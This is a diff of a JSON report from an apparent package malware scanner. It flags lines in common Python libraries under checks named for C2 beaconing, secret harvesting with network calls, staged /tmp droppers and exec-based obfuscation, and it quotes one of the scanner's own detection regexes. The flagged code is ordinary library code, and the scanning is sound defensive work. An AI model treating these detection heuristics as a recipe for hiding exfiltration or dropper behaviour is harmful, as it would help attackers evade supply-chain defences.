-      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
+      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
+      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
     },
     {
       "package": "transformers",
@@ -759,15 +815,15 @@
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
-      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
+      "evidence": "L1699:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
+      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L284:         value = os.environ[key] | L300:         value = os.environ[key] | L2129:         env = os.environ.copy() | L2251:             for k in list(os.environ.keys()):\nNetwork: L2561:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
+      "evidence": "Env: L288:         value = os.environ[key] | L304:         value = os.environ[key] | L2165:         env = os.environ.copy() | L2287:             for k in list(os.environ.keys()):\nNetwork: L2597:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
       "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4"
     },
     {
@@ -799,16 +855,16 @@
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
-      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
+      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
+      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
     },
     {
       "package": "trl",
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
-      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
+      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
+      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
     },
     {
       "package": "trl",
@@ -866,6 +922,14 @@
       "evidence": "Crypto: L294:     r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
       "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212"
     },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
+      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
+    },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
@@ -919,16 +983,16 @@
       "file": "tests/test_mlx_save_export_regressions.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L164:         temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3",
-      "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e"
+      "evidence": "L165:         temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37",
+      "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_quantize_gguf_q2_k_l.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0",
-      "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d"
+      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad",
+      "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b"
     },
     {
       "package": "unsloth-zoo",
@@ -951,7 +1015,7 @@
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2873:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
       "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c"
     },
     {
@@ -959,7 +1023,7 @@
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2873:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
       "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"
     },
     {
@@ -1002,6 +1066,14 @@
       "evidence": "Obfusc: L87:     __import__(name)\nExec: L735:         exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
       "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
     },
+    {
+      "package": "cffi",
+      "file": "cffi/_cffi_gen_src.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L52:     compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53:     exec(compiled, globs, globs)",
+      "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
+    },
     {
       "package": "cffi",
       "file": "cffi/setuptools_ext.py",
@@ -1127,7 +1199,7 @@
       "file": "numba/tests/support.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L879:     __import__(modname)\nExec: L813:     eval(co, globs, ns)",
+      "evidence": "Obfusc: L874:     __import__(modname)\nExec: L808:     eval(co, globs, ns)",
       "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109"
     },
     {
@@ -1159,7 +1231,7 @@
       "file": "numba/tests/test_np_functions.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
+      "evidence": "Obfusc: L7118:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7118:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
       "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed"
     },
     {
@@ -1175,16 +1247,16 @@
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
-      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
+      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
+      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
     },
     {
       "package": "numpy",
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
-      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
+      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
+      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
     },
     {
       "package": "numpy",
@@ -1199,7 +1271,7 @@
       "file": "PIL/Image.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
+      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
       "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13"
     },
     {
@@ -1255,7 +1327,7 @@
       "file": "setuptools/_distutils/compilers/C/base.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1286:         __import__(module_name)\nExec: L1113:         if lib_type not in eval(expected):",
+      "evidence": "Obfusc: L1287:         __import__(module_name)\nExec: L1114:         if lib_type not in eval(expected):",
       "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5"
     },
     {
@@ -1271,7 +1343,7 @@
       "file": "setuptools/tests/config/test_pyprojecttoml.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L364:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
+      "evidence": "Obfusc: L387:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
       "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6"
     },
     {
@@ -1279,7 +1351,7 @@
       "file": "setuptools/tests/test_editable_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449:         exec(finder, loc, loc)",
+      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447:         exec(finder, loc, loc)",
       "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d"
     },
     {
@@ -1322,12 +1394,20 @@
       "evidence": "Obfusc: L919:     c = compile(funcstr, filename, 'exec')\nExec: L163:             module = eval(import_command) | L170:                 exec(import_command, {}, namespace) | L903:                     exec(ln, {}, namespace) | L909:                     exec(ln, {}, namespace) | L920:     exec(c, namespace, funclocals)",
       "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd"
     },
+    {
+      "package": "tensorboard",
+      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
+      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
+      "severity": "HIGH",
+      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
+      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
+    },
     {
       "package": "torch",
       "file": "torch/_dynamo/bytecode_debugger.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L1048:             self._old_trace = sys.gettrace() | L1049:             sys.settrace(self._settrace_callback) | L1106:             sys.settrace(self._old_trace)\nExec: L683:                         result = eval(arg, frame_globals, eval_locals) | L708:                     result = eval(cmd, frame_globals, eval_locals) | L716:                         exec(cmd, frame_globals, eval_locals)",
+      "evidence": "Anti: L1052:             self._old_trace = sys.gettrace() | L1053:             sys.settrace(self._settrace_callback) | L1113:             sys.settrace(self._old_trace)\nExec: L684:                         result = eval(arg, frame_globals, eval_locals) | L709:                     result = eval(cmd, frame_globals, eval_locals) | L717:                         exec(cmd, frame_globals, eval_locals)",
       "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b"
     },
     {
@@ -1343,7 +1423,7 @@
       "file": "torch/fx/experimental/rewriter.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L46:         code = compile(dest_ast, \"\", \"exec\")\nExec: L49:         exec(code, globals_dict)",
+      "evidence": "Obfusc: L44:         code = compile(dest_ast, \"\", \"exec\")\nExec: L47:         exec(code, globals_dict)",
       "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748"
     },
     {
@@ -1359,7 +1439,7 @@
       "file": "torch/package/package_importer.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L602:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
+      "evidence": "Obfusc: L599:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
       "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512"
     },
     {
@@ -1391,7 +1471,7 @@
       "file": "tests/test_mlx_trainer_internals.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L430:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408:         def eval(self):",
+      "evidence": "Obfusc: L1158:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136:         def eval(self):",
       "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf"
     },
     {
@@ -1407,7 +1487,7 @@
       "file": "unsloth_zoo/compiler.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385:         exec(f\"import {model_location}\", globals()) | L3388:     modeling_file = eval(model_location) | L3401:     exec(\nL3402:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403:     ) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407:         globals(),\nL3408:         locals(),\nL3409:     ) | L3560:         source = eval(f\"modeling_file.{module}\") | L3574:         source = eval(f\"modeling_file.{module}\") | L3675:         source = eval(f\"modeling_file.{module}\") | L3713:             source = eval(f\"{model_location}.{module}\") | L3784:                 source = eval(f\"{model_location}.{module}\") | L3832:             source = eval(f\"{model_location}.{module}\") | L4054:         source = eval(f\"{model_location}.{module}\") | L4065:         exec(\nL4066:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067:             globals(),\nL4068:         ) | L4131:                 source = eval(f\"{model_location}.{module}\") | L4172:                 module_cls = eval(f\"{model_location}.{module}\") | L4209:                 module_cls = eval(f\"{model_location}.{module}\") | L4276:     exec(\nL4277:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278:         globals(),\nL4279:     ) | L4341:     exec(inner_training_loop, globals()) | L4349:             function = eval(f\"{model_location}.{module}\") | L4427:             function = eval(f\"{model_location}.{module}\") | L4562:                 source = eval(f\"{model_location}.torch\") | L4569:             function = eval(f\"source.nn.{module}\") | L4628:             exec(\nL4629:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630:                 globals(),\nL4631:                 locals(),\nL4632:             ) | L4634:                 exec(\nL4635:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4636:                     globals(),\nL4637:                     locals(),\nL4638:                 ) | L4642:                 exec(\nL4643:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644:                     globals(),\nL4645:                     locals(),\nL4646:                 ) | L4648:                     exec(\nL4649:                         f\"combined_module.nn.{module}.forward = forward\",\nL4650:                         globals(),\nL4651:                         locals(),\nL4652:                     ) | L4669:             exec(\nL4670:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4671:                 globals(),\nL4672:                 locals(),\nL4673:             ) | L4683:     check_dicts = dir(eval(f\"{model_location}\")) | L4685:         item = eval(f\"{model_location}.{check}\") | L4695:                         exec(\nL4696:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697:                             globals(),\nL4698:                             locals(),\nL4699:                         )",
+      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4295:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389:         exec(f\"import {model_location}\", globals()) | L3392:     modeling_file = eval(model_location) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407:     ) | L3409:     exec(\nL3410:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411:         globals(),\nL3412:         locals(),\nL3413:     ) | L3564:         source = eval(f\"modeling_file.{module}\") | L3578:         source = eval(f\"modeling_file.{module}\") | L3679:         source = eval(f\"modeling_file.{module}\") | L3717:             source = eval(f\"{model_location}.{module}\") | L3788:                 source = eval(f\"{model_location}.{module}\") | L3836:             source = eval(f\"{model_location}.{module}\") | L4058:         source = eval(f\"{model_location}.{module}\") | L4069:         exec(\nL4070:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071:             globals(),\nL4072:         ) | L4135:                 source = eval(f\"{model_location}.{module}\") | L4176:                 module_cls = eval(f\"{model_location}.{module}\") | L4213:                 module_cls = eval(f\"{model_location}.{module}\") | L4280:     exec(\nL4281:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282:         globals(),\nL4283:     ) | L4345:     exec(inner_training_loop, globals()) | L4353:             function = eval(f\"{model_location}.{module}\") | L4431:             function = eval(f\"{model_location}.{module}\") | L4566:                 source = eval(f\"{model_location}.torch\") | L4573:             function = eval(f\"source.nn.{module}\") | L4632:             exec(\nL4633:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634:                 globals(),\nL4635:                 locals(),\nL4636:             ) | L4638:                 exec(\nL4639:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4640:                     globals(),\nL4641:                     locals(),\nL4642:                 ) | L4646:                 exec(\nL4647:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648:                     globals(),\nL4649:                     locals(),\nL4650:                 ) | L4652:                     exec(\nL4653:                         f\"combined_module.nn.{module}.forward = forward\",\nL4654:                         globals(),\nL4655:                         locals(),\nL4656:                     ) | L4673:             exec(\nL4674:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4675:                 globals(),\nL4676:                 locals(),\nL4677:             ) | L4687:     check_dicts = dir(eval(f\"{model_location}\")) | L4689:         item = eval(f\"{model_location}.{check}\") | L4699:                         exec(\nL4700:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701:                             globals(),\nL4702:                             locals(),\nL4703:                         )",
       "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7"
     },
     {
@@ -1423,8 +1503,8 @@
       "file": "unsloth_zoo/mlx/loader.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
